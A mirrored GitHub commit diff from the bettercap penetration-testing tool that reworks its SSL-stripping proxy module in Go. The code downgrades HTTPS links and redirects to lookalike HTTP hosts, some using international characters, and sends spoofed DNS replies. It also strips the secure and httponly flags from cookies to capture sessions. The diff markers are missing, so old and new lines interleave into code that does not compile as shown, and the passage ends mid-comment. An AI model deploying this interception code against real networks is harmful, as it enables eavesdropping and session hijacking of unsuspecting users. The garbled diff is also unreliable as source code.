mirror of
https://github.com/bettercap/bettercap
synced 2025-08-20 21:43:18 -07:00
Fix sslstrip & some related issues in http(s).proxy and dns.spoof
This commit is contained in:
Petitoto
parent
318029c022
commit
40c7203d1f
7 changed files with 220 additions and 218 deletions
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@ -1,9 +1,7 @@
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package http_proxy
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import (
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"fmt"
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"io/ioutil"
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"net"
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"net/http"
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"net/url"
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"regexp"
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@ -11,8 +9,8 @@ import (
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"strconv"
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"github.com/bettercap/bettercap/log"
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"github.com/bettercap/bettercap/packets"
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"github.com/bettercap/bettercap/session"
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"github.com/bettercap/bettercap/modules/dns_spoof"
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"github.com/elazarl/goproxy"
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"github.com/google/gopacket"
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@ -20,39 +18,36 @@ import (
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"github.com/google/gopacket/pcap"
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"github.com/evilsocket/islazy/tui"
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"golang.org/x/net/idna"
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)
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var (
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maxRedirs = 5
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httpsLinksParser = regexp.MustCompile(`https://[^"'/]+`)
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subdomains = map[string]string{
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"www": "wwwww",
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"webmail": "wwebmail",
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"mail": "wmail",
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"m": "wmobile",
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}
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domainCookieParser = regexp.MustCompile(`; ?(?i)domain=.*(;|$)`)
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flagsCookieParser = regexp.MustCompile(`; ?(?i)(secure|httponly)`)
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)
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type SSLStripper struct {
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enabled bool
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useIDN bool
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session *session.Session
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cookies *CookieTracker
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hosts *HostTracker
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handle *pcap.Handle
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pktSourceChan chan gopacket.Packet
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redirs map[string]int
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}
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func NewSSLStripper(s *session.Session, enabled bool) *SSLStripper {
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func NewSSLStripper(s *session.Session, enabled bool, useIDN bool) *SSLStripper {
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strip := &SSLStripper{
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enabled: false,
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useIDN: false,
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cookies: NewCookieTracker(),
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hosts: NewHostTracker(),
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session: s,
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handle: nil,
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redirs: make(map[string]int),
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}
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strip.Enable(enabled)
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strip.Enable(enabled, useIDN)
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return strip
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}
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@ -60,84 +55,6 @@ func (s *SSLStripper) Enabled() bool {
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return s.enabled
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}
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func (s *SSLStripper) dnsReply(pkt gopacket.Packet, peth *layers.Ethernet, pudp *layers.UDP, domain string, address net.IP, req *layers.DNS, target net.HardwareAddr) {
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redir := fmt.Sprintf("(->%s)", address)
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who := target.String()
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if t, found := s.session.Lan.Get(target.String()); found {
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who = t.String()
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}
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log.Debug("[%s] Sending spoofed DNS reply for %s %s to %s.", tui.Green("dns"), tui.Red(domain), tui.Dim(redir), tui.Bold(who))
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var err error
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var src, dst net.IP
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nlayer := pkt.NetworkLayer()
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if nlayer == nil {
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log.Debug("Missing network layer skipping packet.")
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return
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}
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pip := pkt.Layer(layers.LayerTypeIPv4).(*layers.IPv4)
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src = pip.DstIP
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dst = pip.SrcIP
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eth := layers.Ethernet{
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SrcMAC: peth.DstMAC,
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DstMAC: target,
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EthernetType: layers.EthernetTypeIPv4,
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}
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answers := make([]layers.DNSResourceRecord, 0)
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for _, q := range req.Questions {
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answers = append(answers,
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layers.DNSResourceRecord{
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Name: []byte(q.Name),
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Type: q.Type,
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Class: q.Class,
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TTL: 1024,
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IP: address,
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})
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}
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dns := layers.DNS{
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ID: req.ID,
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QR: true,
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OpCode: layers.DNSOpCodeQuery,
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QDCount: req.QDCount,
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Questions: req.Questions,
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Answers: answers,
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}
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ip4 := layers.IPv4{
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Protocol: layers.IPProtocolUDP,
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Version: 4,
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TTL: 64,
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SrcIP: src,
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DstIP: dst,
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}
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udp := layers.UDP{
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SrcPort: pudp.DstPort,
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DstPort: pudp.SrcPort,
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}
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udp.SetNetworkLayerForChecksum(&ip4)
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var raw []byte
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err, raw = packets.Serialize(ð, &ip4, &udp, &dns)
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if err != nil {
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log.Error("Error serializing packet: %s.", err)
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return
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}
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log.Debug("Sending %d bytes of packet ...", len(raw))
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if err := s.session.Queue.Send(raw); err != nil {
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log.Error("Error sending packet: %s", err)
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}
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}
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func (s *SSLStripper) onPacket(pkt gopacket.Packet) {
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typeEth := pkt.Layer(layers.LayerTypeEthernet)
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typeUDP := pkt.Layer(layers.LayerTypeUDP)
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@ -153,14 +70,18 @@ func (s *SSLStripper) onPacket(pkt gopacket.Packet) {
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domain := string(q.Name)
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original := s.hosts.Unstrip(domain)
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if original != nil && original.Address != nil {
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s.dnsReply(pkt, eth, udp, domain, original.Address, dns, eth.SrcMAC)
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redir, who := dns_spoof.DnsReply(s.session, 1024, pkt, eth, udp, domain, original.Address, dns, eth.SrcMAC)
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if redir != "" && who != "" {
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log.Debug("[%s] Sending spoofed DNS reply for %s %s to %s.", tui.Green("dns"), tui.Red(domain), tui.Dim(redir), tui.Bold(who))
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}
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}
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}
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}
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}
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func (s *SSLStripper) Enable(enabled bool) {
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func (s *SSLStripper) Enable(enabled bool, useIDN bool) {
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s.enabled = enabled
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s.useIDN = useIDN
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if enabled && s.handle == nil {
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var err error
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@ -208,23 +129,28 @@ func (s *SSLStripper) isContentStrippable(res *http.Response) bool {
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func (s *SSLStripper) processURL(url string) string {
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// first we remove the https schema
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url = strings.Replace(url, "https://", "http://", 1)
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url = url[8:]
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// search for a known subdomain and replace it
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found := false
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for sub, repl := range subdomains {
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what := fmt.Sprintf("://%s", sub)
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with := fmt.Sprintf("://%s", repl)
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if strings.Contains(url, what) {
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url = strings.Replace(url, what, with, 1)
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found = true
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break
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}
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// search the first instance of "/"
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iEndHost := strings.Index(url, "/")
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if iEndHost == -1 {
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iEndHost = len(url)
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}
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// fallback
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if !found {
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url = strings.Replace(url, "://", "://wwww.", 1)
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// search if port is specified
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iPort := strings.Index(url[:iEndHost], ":")
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if iPort == -1 {
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iPort = iEndHost
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}
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if s.useIDN {
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// add an international character to the domain name & strip HTTPS port (if any)
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url = url[:iPort] + "ノ" + url[iEndHost:]
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} else {
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// double the last TLD's character & strip HTTPS port (if any)
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url = url[:iPort] + string(url[iPort-1]) + url[iEndHost:]
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}
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// finally we add the http schema
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url = "http://" + url
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return url
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}
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@ -238,19 +164,14 @@ func (s *SSLStripper) Preprocess(req *http.Request, ctx *goproxy.ProxyCtx) (redi
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return
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}
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// well ...
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if req.URL.Scheme == "https" {
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// TODO: check for max redirects?
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req.URL.Scheme = "http"
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}
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// handle stripped domains
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original := s.hosts.Unstrip(req.Host)
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if original != nil {
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log.Info("[%s] Replacing host %s with %s in request from %s", tui.Green("sslstrip"), tui.Bold(req.Host), tui.Yellow(original.Hostname), req.RemoteAddr)
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log.Info("[%s] Replacing host %s with %s in request from %s and transmitting HTTPS", tui.Green("sslstrip"), tui.Bold(req.Host), tui.Yellow(original.Hostname), req.RemoteAddr)
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req.Host = original.Hostname
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req.URL.Host = original.Hostname
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req.Header.Set("Host", original.Hostname)
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req.URL.Scheme = "https"
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}
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if !s.cookies.IsClean(req) {
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@ -264,24 +185,30 @@ func (s *SSLStripper) Preprocess(req *http.Request, ctx *goproxy.ProxyCtx) (redi
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return
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}
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func (s *SSLStripper) isMaxRedirs(hostname string) bool {
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// did we already track redirections for this host?
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if nredirs, found := s.redirs[hostname]; found {
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// reached the threshold?
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if nredirs >= maxRedirs {
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log.Warning("[%s] Hit max redirections for %s, serving HTTPS.", tui.Green("sslstrip"), hostname)
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// reset
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delete(s.redirs, hostname)
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return true
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} else {
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// increment
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s.redirs[hostname]++
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func (s *SSLStripper) fixCookies(res *http.Response) {
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origHost := res.Request.URL.Hostname()
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strippedHost := s.hosts.Strip(origHost)
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if strippedHost != nil && strippedHost.Hostname != origHost && res.Header["Set-Cookie"] != nil {
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// get domains from hostnames
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if origParts, strippedParts := strings.Split(origHost, "."), strings.Split(strippedHost.Hostname, "."); len(origParts) > 1 && len(strippedParts) > 1 {
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origDomain := origParts[len(origParts)-2] + "." + origParts[len(origParts)-1]
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strippedDomain := strippedParts[len(strippedParts)-2] + "." + strippedParts[len(strippedParts)-1]
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log.Info("[%s] Fixing cookies on %s", tui.Green("sslstrip"),tui.Bold(strippedHost.Hostname))
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cookies := make([]string, len(res.Header["Set-Cookie"]))
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// replace domain and strip "secure" flag for each cookie
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for i, cookie := range res.Header["Set-Cookie"] {
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domainIndex := domainCookieParser.FindStringIndex(cookie)
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if domainIndex != nil {
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cookie = cookie[:domainIndex[0]] + strings.Replace(cookie[domainIndex[0]:domainIndex[1]], origDomain, strippedDomain, 1) + cookie[domainIndex[1]:]
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}
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cookies[i] = flagsCookieParser.ReplaceAllString(cookie, "")
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}
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res.Header["Set-Cookie"] = cookies
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s.cookies.Track(res.Request)
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}
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} else {
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// start tracking redirections
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s.redirs[hostname] = 1
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}
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return false
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}
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func (s *SSLStripper) fixResponseHeaders(res *http.Response) {
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@ -310,12 +237,13 @@ func (s *SSLStripper) Process(res *http.Response, ctx *goproxy.ProxyCtx) {
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s.fixResponseHeaders(res)
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orig := res.Request.URL
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origHost := orig.Hostname()
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// is the server redirecting us?
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if res.StatusCode != 200 {
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// extract Location header
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if location, err := res.Location(); location != nil && err == nil {
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orig := res.Request.URL
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origHost := orig.Hostname()
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newHost := location.Host
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newURL := location.String()
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@ -324,17 +252,14 @@ func (s *SSLStripper) Process(res *http.Response, ctx *goproxy.ProxyCtx) {
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log.Info("[%s] Got redirection from HTTP to HTTPS: %s -> %s", tui.Green("sslstrip"), tui.Yellow("http://"+origHost), tui.Bold("https://"+newHost))
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// if we still did not reach max redirections, strip the URL down to
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// an alternative HTTP version
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if !s.isMaxRedirs(origHost) {
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strippedURL := s.processURL(newURL)
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u, _ := url.Parse(strippedURL)
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hostStripped := u.Hostname()
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// strip the URL down to an alternative HTTP version and save it to an ASCII Internationalized Domain Name
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strippedURL := s.processURL(newURL)
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parsed, _ := url.Parse(strippedURL)
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hostStripped := parsed.Hostname()
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hostStripped, _ = idna.ToASCII(hostStripped)
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s.hosts.Track(newHost, hostStripped)
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s.hosts.Track(origHost, hostStripped)
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res.Header.Set("Location", strippedURL)
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}
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res.Header.Set("Location", strippedURL)
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}
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}
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}
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@ -352,9 +277,9 @@ func (s *SSLStripper) Process(res *http.Response, ctx *goproxy.ProxyCtx) {
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urls := make(map[string]string)
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matches := httpsLinksParser.FindAllString(body, -1)
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for _, u := range matches {
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// make sure we only strip stuff we're able to
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// resolve and process
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if strings.ContainsRune(u, '.') {
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// make sure we only strip valid URLs
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if parsed, _ := url.Parse(u); parsed != nil {
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// strip the URL down to an alternative HTTP version
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urls[u] = s.processURL(u)
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}
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}
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@ -368,18 +293,25 @@ func (s *SSLStripper) Process(res *http.Response, ctx *goproxy.ProxyCtx) {
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log.Info("[%s] Stripping %d SSL link%s from %s", tui.Green("sslstrip"), nurls, plural, tui.Bold(res.Request.Host))
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}
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for url, stripped := range urls {
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log.Debug("Stripping url %s to %s", tui.Bold(url), tui.Yellow(stripped))
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for u, stripped := range urls {
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log.Debug("Stripping url %s to %s", tui.Bold(u), tui.Yellow(stripped))
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body = strings.Replace(body, url, stripped, -1)
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body = strings.Replace(body, u, stripped, -1)
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hostOriginal := strings.Replace(url, "https://", "", 1)
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hostStripped := strings.Replace(stripped, "http://", "", 1)
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// save stripped host to an ASCII Internationalized Domain Name
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parsed, _ := url.Parse(u)
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hostOriginal := parsed.Hostname()
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parsed, _ = url.Parse(stripped)
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hostStripped := parsed.Hostname()
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hostStripped, _ = idna.ToASCII(hostStripped)
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s.hosts.Track(hostOriginal, hostStripped)
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}
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res.Header.Set("Content-Length", strconv.Itoa(len(body)))
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// fix cookies domain + strip "secure" + "httponly" flags
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s.fixCookies(res)
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// reset the response body to the original unread state
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// but with just a string reader, this way further calls
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// to ioutil.ReadAll(res.Body) will just return the content
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